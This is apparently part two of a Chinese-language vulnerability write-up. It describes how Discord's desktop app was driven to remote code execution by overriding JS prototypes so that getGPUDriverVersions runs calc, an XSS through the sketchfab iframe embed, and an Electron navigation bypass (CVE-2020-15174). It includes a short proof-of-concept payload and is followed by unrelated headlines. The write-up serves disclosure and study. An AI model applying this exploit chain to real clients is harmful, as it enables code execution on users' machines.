综合三个Bug实现Discord桌面应用RCE漏洞( 二 )
测试预加载脚本时 , 我发现Discord应用曝露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函数 , 该函数功能在于可以通过其把一些模块功能调用到Web页面中去实现 。
然而 , 经测试发现 , 我并不能有效地调用类似child_process的模块实现RCE , 但却可以用之前说过的覆盖方法 , 覆盖掉Discord Electron中内置的JS方法 , 干扰曝露模块的执行 , 以此实现RCE 。
以下为相关的PoC 。
当覆盖掉Discord Electron中内置的RegExp.prototype.test和Array.prototype.join方法 , 调用"discord_utils"模块中定义的getGPUDriverVersions方法函数时 , 可以触发执行calc.exe程序:
RegExp.prototype.test=function(){return false;}Array.prototype.join=function(){return "calc";}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();getGPUDriverVersions方法函数用来执行"execa"库调用:
module.exports.getGPUDriverVersions = async () => {if (process.platform !== 'win32') {return {};}const result = {};const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;try {result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));} catch (e) {result.nvidia = {error: e.toString()};}return result;};通常 , "execa"库又是用来执行nvidiaSmiPath变量中指定的"nvidia-smi.exe"显卡程序的 , 但由于覆盖掉了RegExp.prototype.test 和 Array.prototype.join方法 , "execa"库中nvidiaSmiPath变量名即被覆盖为了"calc" 。
具体来说 , nvidiaSmiPath中的变量覆盖需要改变以下两个JS文件:
#L36
#L55
到了这步 , "nvidia-smi.exe"可以成功被替换为"calc" , 那么接下来只需找到执行JS代码的方式即可成功实现RCE了 。
iframe嵌入功能中的XSS在我尝试挖掘XSS的过程中 , 我发现Discord APP支持类似autolink或Markdown的功能 , 这有点意思 。 经测试 , 如果Discord用户交流信息中有视频帖子 , 如You-tube URL , 那么这里类似Markdown的iframe嵌入功能即可显示出视频播放器(video player)来 。
由于Discord涉及到用户的各种社交交流信息 , 所以其支持Open Graph Protocol(开放内容协议) , 如果用户交流信息中包含OGP信息 , 那么Discord应用即会显示出其中出现的网页标题、描述、缩略图和一些相关的视频内容 。 当用户交流信息中的视频URL链接被嵌入到iframe中后 , Discord应用会提取出该视频URL链接 。 后续 , 我无法查看到Discord应用相关的iframe嵌入功能说明文档 , 就只好在其CSP frame-src 指令中寻找线索 , 发现其采用了以下CSP策略:
Content-Security-Policy: [...] ; frame-src https://*.you-tube.com https://*.twitch.tvhttps://*.watchanimeattheoffice.com可以看到 , 其中列出了允许iframe嵌入的策略(如对You-Tube, Twitch, Spotify视频的嵌入) 。 接下来 , 我就对这些域名一个一个进行测试 , 希望在其中能在iframe视频嵌入时触发XSS 。 经过测试 , 我发现域名sketchfab.com可以在iframe嵌入时产生XSS , 这是一个简单的DOM-based XSS 。 以下是我根据OGP协议制作的一个PoC , 当我把该URL链接以聊天方式发送给另一位Discord用户时 , 点击其中的iframe , 就会触发任意的JS代码执行:
[...]现在 , 虽然发现了XSS , 但是触发的JS代码却只能在iframe中执行 。
由于Electron不会把“Web页面之外的JS代码”加载进入iframe中 , 所以即使我覆盖了其iframe内置的JS方法 , 还是不能调用Node.js相关功能 。 因此 , 要实现真正的RCE , 还需要跳出iframe限制 , 在用户浏览内容层面去考虑 。
这就需要在iframe框架中创建一个新窗口 , 或是从iframe中导航(navigating)到另一URL中的顶层窗口 。
经过对相关代码的分析 , 我发现Navigation restriction(导航限制)的主要代码中用到了"new-window" 和 "will-navigate"两个事件:
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {e.preventDefault();if (frameName.startsWith(DISCORD_NAMESPACE)} else {_electron.shell.openExternal(windowURL);}});[...]mainWindow.webContents.on('will-navigate', (evt, url) => {if (!insideAuthFlow}});只要突破这里 , 就可以在iframe框架中创建一个新窗口 , 或是从iframe中导航(navigating)到另一URL中的顶层窗口 。 然而 , 这里存在着一个让我完全意想不到的缺陷 。
Navigation restriction bypass (导航限制功能绕过 , CVE-2020-15174)在我对导航限制相关代码进行检查过程中 , 我本认为iframe对导航(navigation)应该是有限制的 , 但我惊奇地发现 , iframe不知怎的对导航机制竟然没有限制 。
- 三个目标之后|品味莲乡 | 品味
- 绿色|吉利新能源关联公司成立科技新公司 定位绿色智慧物流综合服务商
- 系列|Redmi Note9系列开售:三个亮点和一个缺点,看完再买也不迟
- 小米|小米11将至,全面超越华为mate40?
- 两同事合伙创业,三个月亏损5万,不欢而散,合伙创业就这么难?
- 华强北|钢琴音乐会在深圳市福田区华强北科技综合体奏响
- vivo X50 Pro综合体验:具有划时代意义的实力新机
- 蚂蚁电竞ANT27VQ显示器评测:综合表现全面的电竞利器
- 震惊!京东T4大佬面试整整三个月,才写了两份java面试笔记
- 禁止拷贝构造,禁止bug
